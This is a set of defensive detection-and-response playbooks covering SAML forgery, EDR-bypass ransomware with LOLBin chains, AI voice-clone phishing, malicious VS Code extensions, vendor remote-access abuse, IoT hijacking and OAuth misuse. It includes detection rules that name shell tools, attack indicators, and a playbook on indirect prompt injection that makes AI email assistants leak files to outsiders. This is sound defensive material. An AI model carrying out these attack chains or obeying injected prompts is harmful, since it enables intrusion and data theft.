6.1 Identity Trust Reset

Action 8: Rotate signing certificates across all SSO endpoints

- Use short-lived certificates and set rotation policies
- Validate metadata configurations on each SaaS platform

Action 9: Strengthen conditional access policies

- Block legacy SSO protocols and require token binding
- Enforce MFA even on federated logins using additional context (device ID, location, etc.)

6.2 Monitoring and Alerting

Action 10: Build token anomaly rules

- Use fingerprinting (e.g. token issuer, NotBefore time) to detect replay or forged tokens
- Implement behavioral profiling of federated access sessions

Action 11: Secure third-party SSO integrations

- Review and audit all external SSO relationships
- Require third-party IdPs to follow key rotation and incident disclosure procedures

7. Lessons Learned

7.1 Detection Engineering and Trust Management

Action 12: SIEM rule for SAML token replay

rule: SAML Token Reuse Anomaly

if saml_token_id == previous_token_id
and user_agent != previous_user_agent
and ip_address != known_ip_range
then alert

Action 13: Implement token expiry enforcement

- Ensure short token lifetimes (e.g. 1–5 minutes) for sensitive roles
- Avoid long-lived SAML assertions for admin users

Action 14: Conduct federated trust tabletop exercises

- Simulate abuse of trust relationships
- Include coordinated response between tenants and identity teams

8. Reporting and Documentation

- Incident ID: DRP-2025-029
- Severity: Critical (cross-tenant privilege escalation via federated trust)
- Impact: 2 SaaS tenants accessed using forged token, 3 admin sessions spawned without MFA
- IOCs Collected:
    - SAML token ID: saml-4b1f60dd3f2
    - Issuer: https://adfs.partner-org.com
    - Certificate Thumbprint: abc123fed456... (revoked)
    - IPs: 185.98.43.11, 192.241.120.20
- MITRE Mapping:
    - Initial Access: T1078.004
    - Credential Abuse: T1606.002
    - Persistence: T1550.003
    - Impact: T1098

Detection and Response Playbook 30: Ransomware Deployment via Vulnerable EDR Bypass and LOLBIN Chaining

1. Overview

Attack Type: EDR Evasion + Lateral Movement + Ransomware
Tactic: Defense Evasion, Execution, Impact
Technique (MITRE ATT&CK):

- T1562.001 – Disable or Modify Tools: Disable Security Tools
- T1218 – Signed Binary Proxy Execution (LOLBins)
- T1059.003 – Command and Scripting Interpreter: Windows Command Shell
- T1486 – Data Encrypted for Impact
- T1547.001 – Registry Run Keys/Startup Folder
- T1070.004 – File Deletion

2. Attack Summary

A sophisticated threat actor exploits a known vulnerability or misconfiguration in a widely deployed Endpoint Detection and Response (EDR) agent (e.g. disabling drivers, tampering with registry settings or using signed uninstallers). They chain Living-off-the-Land Binaries (LOLBins) such as mshta.exe, wscript.exe and rundll32.exe to drop and execute the ransomware payload, evading standard detection. Execution is timed with scheduled tasks, registry autoruns or memory-only payloads. The result is widespread encryption with EDR alerts suppressed or silenced before detonation.

3. Detection Steps

3.1 EDR and Host Monitoring

- Data Source: EDR agent logs, Sysmon, Windows Event Logs
- Detection Trigger:
    - EDR agent service stops, crashes or registry tampering attempts (e.g., registry key deletion or modification under HKLM\SYSTEM\CurrentControlSet\Services\EDRdriver)
    - Unexpected uninstallation events for security tools
    - Execution of unsigned binaries immediately after EDR stoppage

3.2 LOLBin Execution and Abuse

- Data Source: Sysmon, PowerShell logs, AppLocker, SIEM
- Detection Trigger:
    - Chained LOLBin activity: e.g., mshta.exe downloading script → rundll32.exe → custom DLL

    - Execution of scripts from AppData, Temp or Recycle Bin
    - LOLBin usage by non-standard parent processes (e.g., explorer.exe launching certutil.exe)

3.3 Ransomware Payload Behaviour

- Data Source: File integrity monitoring, endpoint file system logs
- Detection Trigger:
    - File extension changes in high volume (e.g., .locked, .crypt, .blacktail)
    - Writes followed by deletes to critical business files
    - Dropped ransom note or registry edits for persistence

4. Response Actions

4.1 Containment

Action 1: Isolate affected endpoints immediately

- Use network-level quarantine if EDR is non-functional
- Manually disconnect from LAN or VLAN switch ports if needed

Action 2: Kill active ransomware processes

- Deploy custom response script to look for processes like rundll32, mshta or powershell with obfuscated parameters
- Use alternate admin tools (e.g., RMM, sysinternals) if EDR is disabled

Action 3: Block associated hash and filename indicators

- Create temporary deny rules in NGAV, EDR and proxy systems
- Update SOAR playbook with hash-based containment

5. Investigation

5.1 Trace EDR Bypass Technique

Action 4: Review EDR logs before loss of visibility

- Determine whether the bypass was done via exploit (e.g. known CVE) or misconfiguration
- Correlate logs from SIEM, Sysmon and other agents for full timeline

Action 5: Analyse LOLBin execution chain

- Identify initial script source: e.g., remote URL, email dropper, USB device
- Decode scripts used to deliver final payload (obfuscated PowerShell or VBScript)

5.2 Assess Scope of Encryption

Action 6: Identify affected file shares and mapped drives

- Use volume shadow logs and file access telemetry
- Cross-reference file changes against file share activity

Action 7: Investigate ransom note and actor profile

- Extract ransom note contents, BTC address, TOR links
- Check ransomware variant (e.g., BlackCat, LockBit, Akira) via hash or binary signature

6. Recovery and Remediation

6.1 Restore Systems and Reinforce EDR

Action 8: Re-deploy EDR with tamper protection enabled

- Enforce policy for driver integrity, registry protection and uninstall password
- Rotate EDR uninstall tokens if compromised

Action 9: Recover encrypted data

- Use backup and restore systems where possible
- Validate file integrity and confirm clean restore point

6.2 Patch and Audit

Action 10: Patch vulnerable EDR software or OS

- Apply hotfix or mitigation advisory for known CVE
- Audit registry and service configurations post-recovery

Action 11: Apply application control and LOLBin hardening

- Block or restrict mshta.exe, wscript.exe, certutil.exe, etc., using AppLocker or WDAC
- Implement script blocking or audit-only logging for risky binaries

7. Lessons Learned

7.1 Detection Engineering and Hardening

Action 12: SIEM rule for EDR tampering

```
rule: Suspicious EDR Service Stop + LOLBin Execution
if event_id == 7036
and service_name in ["CrowdStrike", "SentinelOne", "CarbonBlack"]
and next_process in ["mshta.exe", "rundll32.exe", "wscript.exe"]
then alert
```

Action 13: Implement LOLBin behavior mapping

- Create baseline of legitimate use cases
- Alert when LOLBins are used in chained executions or abnormal process lineage

Action 14: Conduct ransomware kill chain exercises

- Red team simulates EDR disablement and ransomware detonation
- Blue team validates speed of detection, isolation and restoration

8. Reporting and Documentation

- Incident ID: DRP-2025-030
- Severity: Critical (EDR disabled, ransomware deployed with evasion)
- Impact: 14 endpoints encrypted, 3 file servers affected, 280GB inaccessible
- IOCs Collected:
    - Hash: SHA256: 873d891ab...
    - Process Chain: explorer.exe → mshta.exe → powershell.exe → rundll32.exe
    - File extension: .scloud
    - Ransom note title: RESTORE-FILES.txt
- MITRE Mapping:
    - Defense Evasion: T1562.001, T1218
    - Execution: T1059.003
    - Impact: T1486
    - Persistence: T1547.001

Detection and Response Playbook 31: LLM-Powered Social Engineering with Real-Time Voice Cloning and AI Phishing

1. Overview

Attack Type: AI-Driven Social Engineering
Tactic: Initial Access, Reconnaissance, Impact
Technique (MITRE ATT&CK):

- T1566.001 – Phishing: Spearphishing via Email
- T1201 – Password Policy Discovery
- T1583.006 – Obtain Capabilities: Web Services
- T1589.002 – Identity Theft: Voice
- T1598 – Phishing for Information
- T1621 – Multi-Factor Authentication Request Generation

2. Attack Summary

The attacker uses advanced generative AI tools to impersonate a C-level executive by cloning their voice from public sources (e.g., interviews, webinars) and combining it with LLM-generated emails, WhatsApp texts or even video calls using deepfakes. The attacker calls the finance or HR department, mimicking a legitimate executive voice and instructs them to urgently process payments, approve access or bypass normal controls.

In some cases, the attacker may also generate fake MFA push requests or password reset links, increasing pressure during the social engineering window.

3. Detection Steps

3.1 Voice Phishing (Vishing) and Call Monitoring

- Data Source: Voice call recordings, SOC hotline monitoring, helpdesk logs
- Detection Trigger:
    - Urgent requests involving financial transactions from leadership via unofficial channels
    - Caller ID spoofing or unknown number claiming to be senior staff
    - Voicemail with language patterns that match scripted or robotic delivery

3.2 Email and Messaging Phishing

- Data Source: Secure Email Gateway (SEG), SIEM, anti-phishing platforms
- Detection Trigger:
    - Emails using exact executive tone and naming conventions but sent from similar domains (e.g., ceo@company-mgmt.com)

    - Requests to approve payments, gift cards, wire transfers or access within 1–2 hours
    - Abnormal communication flow (e.g. CFO emailing HR directly, skipping usual channels)

3.3 MFA and Identity Abuse Signals

- Data Source: IAM logs, Duo/Microsoft MFA logs, CASB
- Detection Trigger:
    - Repeated push MFA requests generated by a previously inactive account
    - Password reset requests for high-privileged roles outside of business hours
    - Access attempts to financial systems from rarely used IPs or devices

4. Response Actions

4.1 Containment

Action 1: Suspend suspicious transactions or approvals

- Temporarily freeze the payment, transfer or access grant
- Instruct teams to halt based on playbook trigger or predefined red flag pattern

Action 2: Block suspicious sender or domain

- Quarantine the message and sender
- Update mail filters and alerting rules for lookalike domains and spoofed headers

Action 3: Engage human verification fallback

- Call the actual executive using known internal phone line
- Use multi-party verification for any C-level requests

5. Investigation

5.1 Trace Message Origin and Content

Action 4: Examine email headers and body content

- Check SPF/DKIM/DMARC status
- Compare writing style, signature format and sentiment using LLM analysis tools

Action 5: Analyse voice message metadata

- Review audio for subtle signs of AI voice generation (e.g., background silence, unnatural pauses)
- Identify any reused voice segments or phonetic inconsistencies

5.2 Map LLM/AI tool usage

Action 6: Monitor web usage logs for AI tools

- Look for access to public LLM platforms from unknown IPs querying for company-specific content
- Identify if any employees uploaded internal docs into AI tools prior to attack

Action 7: Examine lateral targeting patterns

- Look for additional spearphishing targeting other departments
- Identify shared language, AI prompt reuse or clone template indicators

6. Recovery and Remediation

6.1 Harden Communication Channels

Action 8: Enforce executive impersonation verification protocol

- All requests from leadership involving sensitive actions must follow multi-channel verification
- Ban approvals over WhatsApp, SMS or unverified calls

Action 9: Enable voice and caller ID validation

- Implement biometric voice verification for leadership roles
- Use digital watermarking or secure calling applications for sensitive contacts

6.2 Awareness and Monitoring

Action 10: Train staff on AI-powered fraud

- Include real examples of AI voice cloning and LLM-generated phishing
- Simulate AI-powered attack exercises for finance, HR and IT

Action 11: Create AI threat detection rules

- Alert on communications that match known LLM prompt patterns or cloned email styles
- Use behavior analytics to flag anomalies in executive messaging flow

7. Lessons Learned

7.1 Detection Engineering and Process Enforcement

Action 12: SIEM rule for C-level impersonation detection

```
rule: Suspicious Executive Impersonation Attempt
if sender_name == "CEO"
and domain not in approved_domains
and subject contains ["urgent", "wire", "confidential", "approve"]
and time_of_day outside business_hours
then alert
```

Action 13: Establish executive shadowing model

- Track baseline communication behaviour of C-level roles
- Alert on deviations from device, channel, time, tone

Action 14: Conduct red team simulation using voice cloning

- Test real-time response to spoofed voice instructions
- Use synthetic audio with deepfake watermark to test staff response

8. Reporting and Documentation

- Incident ID: DRP-2025-031
- Severity: High (social engineering breach attempt with real-time voice impersonation)
- Impact: RM112,000 wire almost transferred, HR credentials reset attempt blocked
- IOCs Collected:
    - Email Domain: ceo-financials[.]co
    - Audio hash: SHA256: bfa93f84f1e3...
    - Prompt Sample: “Write an urgent payment request from the CEO to Finance Director...”
- MITRE Mapping:
    - Initial Access: T1566.001, T1589.002
    - Credential Abuse: T1621
    - Reconnaissance: T1201
    - Impact: Social engineering leading to financial loss

Detection and Response Playbook 32: Compromised Developer Environment via Malicious VS Code Extensions and Supply Chain Injection

1. Overview

Attack Type: Developer Environment Compromise / Supply Chain Attack
Tactic: Initial Access, Persistence, Defense Evasion, Execution
Technique (MITRE ATT&CK):

- T1608.001 – Stage Capabilities: Upload Tool
- T1059.001 – Command and Scripting Interpreter: PowerShell
- T1556.001 – Modify Authentication Process
- T1129 – Shared Modules
- T1055.001 – Process Injection: Dynamic-link Library Injection
- T1203 – Exploitation for Client Execution

2. Attack Summary

The attacker uploads a malicious Visual Studio Code (VS Code) extension to the official marketplace or hosts it on GitHub, disguising it as a productivity or DevOps tool. A developer unknowingly installs the extension, which silently executes malicious scripts during workspace load or file saves. The extension contains capabilities such as token stealing, code injection, command-and-control (C2) communication or backdoor persistence through .vscode/settings.json.

In more advanced scenarios, the attacker pivots from the compromised IDE to poison the CI/CD pipeline or inject backdoors into production builds, leading to large-scale supply chain compromise.

3. Detection Steps

3.1 VS Code Extension Monitoring

- Data Source: Endpoint EDR, VS Code telemetry (if enabled), file integrity monitoring
- Detection Trigger:
    - Installation of unsigned or new/unverified extensions from non-standard publishers
    - Execution of scripts via VS Code terminals or launch tasks (tasks.json)
    - Write actions to sensitive folders like .ssh, .npmrc, .gitconfig

3.2 Code Execution and Lateral Movement

- Data Source: Sysmon, PowerShell logs, developer machine audit trails
- Detection Trigger:

    - VS Code process spawning unexpected shells or interpreters (e.g. powershell.exe, curl, python)
    - Network requests from VS Code process to rare domains or over non-standard ports
    - Modification of .bashrc, .zshrc, .git/hooks/post-commit

3.3 CI/CD Abuse and Supply Chain Traces

- Data Source: Git logs, CI server logs (e.g., Jenkins, GitHub Actions), artifact integrity systems
- Detection Trigger:
    - Pushes with suspicious or obfuscated changes in critical library code
    - Build steps with new script injection or unsigned third-party modules
    - Sudden use of secrets or tokens from local environments without prior access

4. Response Actions

4.1 Containment

Action 1: Isolate affected developer endpoints

- Disconnect from network to prevent C2 callbacks
- Preserve volatile memory for analysis

Action 2: Disable suspicious VS Code extensions

- Remove the extension directory under %USERPROFILE%\.vscode\extensions\
- Lock extension auto-update and enforce allowlisted extensions via policy

Action 3: Stop CI/CD pipeline and freeze deployment

- Prevent further commits from reaching build systems
- Roll back to previously signed and verified production builds

5. Investigation

5.1 Trace Extension Payload and Behaviour

Action 4: Decompile or analyse extension code

- Review extension.js, package.json and any embedded binaries
- Identify malicious scripts in lifecycle hooks (onStartup, onSave, etc.)

Action 5: Check persistence mechanisms

- Analyse local project .vscode/settings.json, launch.json and shell RC files
- Check for reverse shells, API token exfiltration or backdoor task definitions

5.2 Review Git and Build Artefacts

Action 6: Audit recent commits and build steps

- Look for obfuscated functions, suspicious dependencies or modified config files
- Validate artefact hashes and certificates

Action 7: Check credential exposure

- Search for hardcoded tokens or environment secrets accessed from compromised machines
- Rotate all affected keys and tokens

6. Recovery and Remediation

6.1 Clean Developer Environments

Action 8: Reinstall VS Code from trusted source

- Manually remove all extensions and perform full environment scan
- Rebuild development environment using golden images or containers

Action 9: Enforce extension control and sandboxing

- Use policies (e.g., Intune, Jamf) to restrict allowed extensions
- Shift to browser-based or containerised IDEs for sensitive projects

6.2 Secure CI/CD Pipelines

Action 10: Revalidate all software artefacts

- Perform SLSA (Supply-chain Levels for Software Artifacts) compliance checks
- Implement artefact signing and verification pipelines

Action 11: Enhance code review and alerting

- Use static code analysis and peer review for any library change
- Alert on suspicious or automated pull requests

7. Lessons Learned

7.1 Detection Engineering and DevSecOps Governance

Action 12: SIEM rule for VS Code extension abuse

```
rule: Malicious VS Code Extension Execution
if parent_process == "Code.exe"
and child_process in ["powershell.exe", "curl.exe", "wget.exe"]
and file_path contains ["AppData", ".vscode"]
then alert
```

Action 13: Perform monthly audit of developer extensions

- Maintain allowlist of secure extensions
- Detect drift and unauthorised installs

Action 14: Conduct red team supply chain test

- Simulate developer IDE compromise and monitor CI/CD blast radius
- Validate detection coverage and build rollback readiness

8. Reporting and Documentation

- Incident ID: DRP-2025-032
- Severity: High (developer environment compromise, potential production code backdoor)
- Impact: One compromised IDE, malicious extension spread across 3 devs, CI script tampered
- IOCs Collected:
    - Extension ID: devsecai.backdoor-vscode
    - File hash: SHA256: 92a8cf144bd9e…
    - Suspicious network domain: api-pushcode[.]cc
- MITRE Mapping:
    - Initial Access: T1608.001, T1203
    - Execution: T1059.001
    - Defense Evasion: T1556.001
    - Persistence: T1055.001
    - Lateral Movement: T1129

Detection and Response Playbook 33: Third-Party Remote Access Tool Abused via Legitimate IT Vendor Portal

1. Overview

Attack Type: Supply Chain Compromise / Remote Access Abuse
Tactic: Initial Access, Lateral Movement, Execution
Technique (MITRE ATT&CK):

- T1133 – External Remote Services
- T1078.003 – Valid Accounts: Local Accounts
- T1021.001 – Remote Services: Remote Desktop Protocol
- T1573.002 – Encrypted Channel: Asymmetric Cryptography
- T1219 – Remote Access Software
- T1047 – Windows Management Instrumentation

2. Attack Summary

An attacker compromises the legitimate remote access infrastructure of an authorised third-party vendor, such as an IT support company or hardware maintenance partner. These vendors often use Remote Access Tools (RATs) like TeamViewer, AnyDesk, BeyondTrust or proprietary VPN portals. After gaining access (through credential compromise, phishing or vulnerable remote interfaces), the attacker moves laterally into the client network using the trusted remote session and escalates privileges to drop malware, exfiltrate data or deploy ransomware.

Because the access is established through a trusted vendor, it often bypasses perimeter firewalls, geofencing or conditional access controls.

3. Detection Steps

3.1 Remote Access Session Monitoring

- Data Source: Remote access gateway logs (BeyondTrust, Citrix, TeamViewer), VPN concentrator logs, SIEM
- Detection Trigger:
    - Logins from vendor accounts outside business hours or unusual geo-locations
    - Concurrent remote sessions initiated from multiple client environments by same vendor account
    - Use of remote sessions to high-privilege systems (e.g., domain controllers, financial servers)

3.2 Lateral Movement and Execution

- Data Source: Sysmon, Windows Event Logs, EDR
- Detection Trigger:
    - Execution of remote commands post-login (e.g., wmic, PsExec, certutil)
    - Attempts to disable endpoint security or create new user accounts
    - File transfers through remote access tunnel to paths like C:\Users\Public or Temp

3.3 Account and Behavioural Anomalies

- Data Source: Identity Provider logs, PAM solutions
- Detection Trigger:
    - Vendor account accessing new resources or previously unseen subnets
    - New or modified scheduled tasks created by vendor accounts
    - Authentication using old or expired certificates

4. Response Actions

4.1 Containment

Action 1: Revoke vendor remote access session

- Immediately terminate suspicious sessions via remote access console
- Suspend or rotate credentials used by vendor account

Action 2: Isolate affected systems

- Use EDR or NAC to contain hosts accessed during session
- For vendor-managed appliances, revoke trust and isolate from network

Action 3: Block command-and-control channels

- Use proxy or firewall to block external IPs accessed during remote session
- Monitor for DNS tunneling or encrypted payload exfiltration

5. Investigation

5.1 Trace Remote Session Timeline

Action 4: Pull full session metadata and recordings

- Review session logs: source IP, accessed systems, file transfers
- Check whether session was manually initiated or auto-approved by IT

Action 5: Analyse tools executed during session

- Identify scripts, commands or tools used (e.g., PowerShell, cmd)
- Retrieve dropped files and hash them for further analysis

5.2 Assess Lateral Access and Impact

Action 6: Map lateral movement path

- Identify accounts used for escalation, systems accessed and services touched
- Review service creation, WMI usage or registry persistence

Action 7: Examine file exfiltration paths

- Investigate staging areas, compressed archives and upload commands
- Identify connections to external FTPs or cloud storage endpoints

6. Recovery and Remediation

6.1 Rebuild Trust with Third Party

Action 8: Revalidate all vendor accounts and tools

- Reset credentials, certificates or API keys used by the third-party
- Ensure contract and SLA define acceptable remote access controls

Action 9: Implement vendor access segmentation

- Force access through jump hosts or PAM solutions
- Apply least privilege and session time limits

6.2 Audit Remote Access Infrastructure

Action 10: Review remote access portal configuration

- Disable unused protocols (e.g., RDP, SSH)
- Enforce MFA, IP allowlisting, session recording

Action 11: Apply continuous monitoring and alerting

- Monitor for remote login frequency, duration and access patterns
- Alert on anomalous logins using UEBA

7. Lessons Learned

7.1 Detection Engineering and Supply Chain Control

Action 12: SIEM rule for vendor session anomaly

rule: Unusual Third-Party Remote Access
if user_group == "vendors"
and login_time outside business_hours
and accessed_host in ["DC", "FinanceDB"]
then alert

Action 13: Conduct third-party incident tabletop

- Simulate vendor portal breach scenario
- Review SOC and IT response alignment with SLA and legal obligations

Action 14: Enhance third-party access review cycles

- Quarterly access reviews for all vendors
- Mandatory cyber posture assessment for all contractors with access

8. Reporting and Documentation

- Incident ID: DRP-2025-033
- Severity: Critical (third-party remote access hijacked, lateral movement detected)
- Impact: 2 systems compromised, ransomware deployed on legacy server, backup admin credentials stolen
- IOCs Collected:
    - Source IP: 142.250.14.121 (outside vendor's usual range)
    - File hash: SHA256: 9ac3d874bdfe...
    - Executed tools: PsExec, net user, taskschd.msc
- MITRE Mapping:
    - Initial Access: T1133, T1078.003
    - Lateral Movement: T1021.001
    - Execution: T1047
    - Impact: Ransomware deployment through trusted channel

Detection and Response Playbook 34: Exploitation of AI-Powered Email Auto-Response Systems for Internal Recon and Data Exfiltration

1. Overview

Attack Type: AI Misuse / Business Logic Abuse
Tactic: Reconnaissance, Collection, Exfiltration
Technique (MITRE ATT&CK):

- T1592.002 – Gather Victim Host Information: Email Addresses
- T1114.003 – Email Collection via Mail Client APIs
- T1213.002 – Data from Information Repositories: SharePoint/OneDrive
- T1567.002 – Exfiltration to Cloud Storage
- T1203 – Exploitation for Client Execution
- T1585.001 – Establish Accounts: Email Accounts

2. Attack Summary

The attacker uses spear-phishing or credential stuffing to compromise a low-privileged email account within an organisation that uses AI-powered email assistants (e.g., Copilot in Microsoft 365 or Gemini in Gmail). Instead of installing malware, the attacker interacts with the generative AI system through crafted emails or prompts injected into the assistant's environment.

They use indirect prompt injection or API abuse to:

- Extract confidential files (e.g., business plans, credentials)
- Summarise internal conversations
- Trigger auto-responses that leak sensitive data to external actors

Because the activity occurs via legitimate email traffic and AI-generated replies, it often bypasses traditional EDR and DLP systems.

3. Detection Steps

3.1 AI Assistant Interaction Monitoring

- Data Source: Copilot/Gemini logs, M365 Audit Logs, Exchange Online mailbox audit
- Detection Trigger:
    - High volume of AI-generated replies from a single user
    - Use of suspicious language patterns in outgoing emails (e.g., "as per internal file", "attached is the summary")
    - External messages triggering internal file summarisation

3.2 API Usage and Email Access Patterns

- Data Source: Graph API logs, Gmail API logs, OAuth access history
- Detection Trigger:
    - Multiple API calls requesting summarisation of internal threads by unknown sender
    - OAuth token used to access Copilot or Gemini services from anomalous IPs
    - Access to OneDrive/SharePoint files triggered via email request from external domains

3.3 Indirect Prompt Injection Behaviour

- Data Source: LLM logs (if available), email body analysis, email security gateway
- Detection Trigger:
    - Prompts inside emails resembling LLM commands (e.g., “Summarise this thread and send to …”)
    - Email responses containing unintended confidential summaries or forward chains
    - Use of language outside standard tone and structure of the user

4. Response Actions

4.1 Containment

Action 1: Revoke access to AI tools for affected account

- Disable Copilot/Gemini access for user via admin portal
- Invalidate associated OAuth tokens or app registrations

Action 2: Quarantine outbound emails sent by AI assistant

- Use DLP or Exchange Transport Rules to block auto-generated replies
- Suspend outbound traffic from affected mailbox temporarily

Action 3: Disable external access triggers

- Block external domains from initiating internal summarisation or AI-triggered actions
- Remove auto-forwarding and sharing permissions from files in question

5. Investigation

5.1 Identify Prompt Injection and Abuse Patterns

Action 4: Extract full conversation threads

- Review original prompts and AI-generated replies
- Look for embedded payloads in the form of “hidden” prompts in long emails

Action 5: Track file access and AI actions

- Trace summary generations, document access logs and any file sent externally
- Map response times and language to determine which were generated by AI

5.2 Audit Access Vectors

Action 6: Investigate account compromise or spoofing

- Check login IPs, devices, OAuth tokens and delegated permissions
- Confirm if credentials were stolen, reused or attacker created a fake but similar account

Action 7: Correlate cloud access and email assistant responses

- Identify files or repositories queried or summarised indirectly
- Look for evidence of script-based querying using LLM prompts

6. Recovery and Remediation

6.1 Reset Environment and Access

Action 8: Rotate credentials and tokens

- Reset passwords for affected accounts
- Revoke and regenerate OAuth tokens used for AI tools

Action 9: Clear unintended AI responses

- Recall or delete leaked emails if possible
- Revert permissions or revoke shared links in OneDrive/SharePoint

6.2 AI Governance Controls

Action 10: Apply LLM usage boundaries

- Restrict summarisation capability to internal-only threads
- Enable AI transparency logs and user verification steps before summary sending

Action 11: Disable AI auto-response for sensitive roles

- Remove AI capabilities from executive assistants, legal and finance roles unless necessary
- Require user verification for each AI-generated draft before sending

7. Lessons Learned

7.1 Detection Engineering and AI Governance

Action 12: SIEM rule for AI response leak detection

rule: AI Assistant Abnormal Summary Sent
if from_address == "copilot@contoso.com"
and recipient_domain not in ["contoso.com"]
and subject contains ["summary", "per your request", "internal file"]
then alert

Action 13: Conduct AI prompt injection red teaming

- Simulate external actors injecting prompts into internal conversations
- Validate containment and review assistant response boundaries

Action 14: Implement AI usage dashboards for security

- Monitor per-user assistant activity
- Flag spikes in summarisation, response generation or external access

8. Reporting and Documentation

- Incident ID: DRP-2025-034
- Severity: High (AI system abused for internal reconnaissance and data leak)
- Impact: 28 AI-generated emails sent externally, 3 files summarised and leaked
- IOCs Collected:
    - Suspicious sender: outsider123@protonmail.com
    - Trigger phrases: "Summarise the attached emails", "Reply to this with the details"
    - File hash (leaked): SHA256: 38dc8fc9d911...
- MITRE Mapping:
    - Recon: T1592.002, T1114.003
    - Exfiltration: T1567.002
    - Misuse: T1213.002, T1585.001

Detection and Response Playbook 35: Manipulation of IoT Devices in Smart Buildings via Exposed APIs and Default Credentials

1. Overview

Attack Type: IoT Exploitation / Physical Environment Control
Tactic: Initial Access, Execution, Impact
Technique (MITRE ATT&CK):

- T1190 – Exploit Public-Facing Application
- T1078 – Valid Accounts
- T0886 – Exploit of Remote Services (ICS/IoT)
- T1496 – Resource Hijacking
- T1491.001 – Defacement: Internal Defacement
- T1499 – Endpoint Denial of Service

2. Attack Summary

An attacker scans public or internal networks to identify exposed IoT devices in smart building environments (e.g., HVAC controllers, smart locks, CCTV, building access gateways, lighting systems). Using default credentials or vulnerable firmware APIs, they gain control of the devices. From there, they manipulate systems to:

- Lock/Unlock doors
- Cut or redirect power
- Disable security alarms or CCTV feeds
- Overheat server rooms or manipulate sensors

This results in both digital and physical impact, disrupting operations and threatening safety.

3. Detection Steps

3.1 IoT Network and API Monitoring

- Data Source: IoT gateway logs, API traffic logs, firewall logs
- Detection Trigger:
    - Authentication using default usernames (e.g., admin, installer, 1234)
    - High volume of unauthorised API calls or requests to /config, /set, /control endpoints
    - Access from unexpected IP addresses (e.g., guest Wi-Fi, third-party VLANs)

3.2 Device Behaviour Monitoring

- Data Source: Smart device telemetry, SIEM, building management system (BMS) logs
- Detection Trigger:
    - Devices executing commands outside scheduled timeframes
    - Simultaneous access failures from legitimate users
    - Environmental data anomalies (e.g., temperature spikes, power loss, motion sensors triggered)

3.3 Exploitation Indicators

- Data Source: Sysmon for gateway OS, firmware logs, vulnerability scan reports
- Detection Trigger:
    - Public CVE exploit attempts via known API paths or ports (e.g., TCP/8080, TCP/8443)
    - Modification of configuration files without audit trail
    - Firmware downgrade or reboot events

4. Response Actions

4.1 Containment

Action 1: Disable compromised device access

- Revoke remote access or API tokens
- Place device in maintenance mode via BMS

Action 2: Segment compromised IoT network

- Apply VLAN isolation or firewall rules to cut off device from Internet/internal systems
- Temporarily block related IP ranges or MAC addresses

Action 3: Alert physical security and operations

- Inform building maintenance teams of control loss
- Prepare for manual override or emergency shutdown if critical

5. Investigation

5.1 Identify Entry Point and Method

Action 4: Check login and access logs

- Search for successful logins using known default or leaked credentials

- Review login IPs, times, user agents

Action 5: Analyse API abuse pattern

- Check for abnormal POST, PUT or DELETE operations
- Match against device action logs to confirm manipulation

5.2 Map Affected Systems

Action 6: Identify linked devices in control group

- Trace if one compromised device allowed pivot to other building subsystems
- Evaluate connected systems (CCTV, fire alarm, biometric scanners, elevators)

Action 7: Review firmware and patch level

- Determine if attacker exploited an unpatched firmware CVE
- Check for undocumented services or backdoors

6. Recovery and Remediation

6.1 Reset and Secure Devices

Action 8: Reflash or reset compromised firmware

- Use trusted source firmware
- Ensure factory reset wipes injected scripts or rogue services

Action 9: Change all default credentials

- Apply strong password policies
- Use IAM-integrated authentication if supported

6.2 Improve IoT Security Controls

Action 10: Implement API rate limiting and logging

- Set access thresholds and time-based rules
- Block open API access without token validation

Action 11: Isolate IoT from business network

- Use dedicated subnet with firewall rules blocking lateral movement
- Enable strict ingress/egress rules with logging

7. Lessons Learned

7.1 Detection Engineering and IoT Governance

Action 12: SIEM rule for default credential login

rule: IoT Device Default Login Detected
if username in ["admin", "root", "1234", "installer"]
and device_type == "IoT"
and login_status == "success"
then alert

Action 13: Perform quarterly IoT exposure scans

- Include internal and public-facing assets
- Prioritise patching based on criticality and CVSS

Action 14: Simulate physical-impact cyberattacks

- Red team scenarios: HVAC tampering, CCTV disabling, badge reader hijack
- Blue team: Validate escalation, incident bridging and emergency protocols

8. Reporting and Documentation

- Incident ID: DRP-2025-035
- Severity: High (IoT device hijack with physical impact potential)
- Impact: HVAC controller exploited, server room temperature rose by 12°C, CCTV rebooted during access attempt
- IOCs Collected:
    - Source IP: 192.168.13.77 (guest network)
    - API path accessed: /api/control/power?state=off
    - Firmware version: IoTModelX v2.4.1 (vulnerable)
- MITRE Mapping:
    - Initial Access: T1078, T1190
    - Execution: T0886, T1047
    - Impact: T1499, T1491.001

Detection and Response Playbook 36: Abuse of Shadow IT SaaS Accounts via OAuth Token Misuse and Cloud App Sprawl

1. Overview

Attack Type: Cloud Identity Abuse / Shadow IT Expansion
Tactic: Initial Access, Persistence, Collection, Exfiltration
Technique (MITRE ATT&CK):

- T1550.001 – Use of Application Access Token
- T1529 – System Shutdown/Reboot (Indirect Token Invalidation)
- T1078.004 – Valid Accounts: Cloud Accounts
- T1530 – Data from Cloud Storage
- T1110.004 – Credential Stuffing
- T1098.001 – Account Manipulation: Additional Cloud Credentials

2. Attack Summary

The attacker exploits an unmanaged or user-installed cloud application that has been granted excessive OAuth scopes (e.g., read/send email, access files, modify calendar, view contacts). Once the user authorises the app, often as part of a legitimate-looking SaaS platform, it silently exfiltrates data, sends internal phishing or performs lateral movement using the victim's identity.

Because access is granted via OAuth tokens, even password resets or MFA cannot stop the app unless the token is explicitly revoked. These apps often fall outside of official IT oversight (Shadow IT) and cloud security controls may be missing or improperly scoped.

3. Detection Steps

3.1 OAuth Grant Abuse

- Data Source: Identity Provider logs (Azure AD, Google Workspace), CASB, SIEM
- Detection Trigger:
    - User granting OAuth permission to unknown apps with high privileges
    - Multiple users authorising the same third-party app in a short time
    - OAuth tokens used from unusual geolocations or IPs

3.2 Shadow SaaS Usage

- Data Source: CASB, Firewall logs, Secure Web Gateway
- Detection Trigger:
    - Traffic to SaaS domains not in enterprise allowlist

    - Access to file sharing or productivity platforms (e.g., WeTransfer, Zoho, Trello) from corporate network
    - Use of personal email domains (e.g., Gmail, Yahoo) tied to file sharing

3.3 Abnormal Cloud Identity Behaviour

- Data Source: M365/GWS audit logs, Okta, SIEM
- Detection Trigger:
    - File or email access by apps without user interaction
    - Calendar modifications or contact scraping events
    - Repeated refresh token use long after user session ended

4. Response Actions

4.1 Containment

Action 1: Revoke OAuth tokens immediately

- Use IdP admin portal or CLI to revoke all app-specific refresh tokens
- Block app from receiving new consent via tenant-wide app restrictions

Action 2: Quarantine affected user accounts

- Temporarily disable account or force sign-out
